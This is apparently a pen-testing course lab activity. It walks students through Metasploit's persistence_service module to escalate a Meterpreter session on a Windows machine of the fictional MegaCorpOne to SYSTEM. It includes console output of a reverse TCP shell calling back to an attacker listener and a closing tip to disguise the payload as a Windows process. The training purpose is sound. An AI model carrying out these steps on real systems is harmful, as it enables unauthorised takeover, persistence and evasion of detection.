Cybersecurity

Activity File

Activity File: Windows Privilege Escalation

In this activity, you'll continue to play the role of a pen tester conducting an engagement on MegaCorpOne. Using password spraying, you gained a foothold on a Windows machine in a previous activity. Now that we understand and recognize our privilege escalation attack path, you are tasked to implement it with Metasploit. Specifically, you will escalate your privileges on the Windows machine from `tstark` to `SYSTEM` privileges, giving you full control of the entire machine.

- You will work off of the tstark user's Meterpreter session.
- With the active Meterpreter session, you will attempt to escalate your privileges by creating a service that runs a malicious payload.
- Remember, when a service is run, it is done with SYSTEM privileges.

⚠️ **Reminder:** Don't forget to save your findings, as you will add them to your Week 16 Homework!

Instructions

1. Background the Meterpreter session via the `background` command.

```
meterpreter > background
[*] Backgrounding session 1...
```

2. Use the `windows/local/persistence_service` module in Metasploit.
3. View the OPTIONS and set the SESSION to your current Meterpreter session number ID. If you're unsure of the session number, type `sessions`.
4. Verify and set remaining options (pay attention to the `LHOST`).
5. Once the parameters are set, run the module.

6. Once complete, view the user ID.

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > use windows/local/persistence_service
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence_service) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/persistence_service) > run

[*] Started reverse TCP handler on 172.22.117.100:4444
[*] Running module against WINDOWS10
[+] Meterpreter service exe written to C:\Users\TSTARK~1.MEG\AppData\Local\Temp\OKQom.exe
[*] Creating service oFcaBi
[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/WINDOWS10_20220115.2004/WINDOWS10_20220115.2004.rc
[*] Sending stage (175174 bytes) to 172.22.117.20
[*] Meterpreter session 2 opened (172.22.117.100:4444 -> 172.22.117.20:61670 ) at 2022-01-15 12:20:05 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

7. Notice that the executable it uploads is a random file name. How could we make this more stealthy? Rename it as a windows process.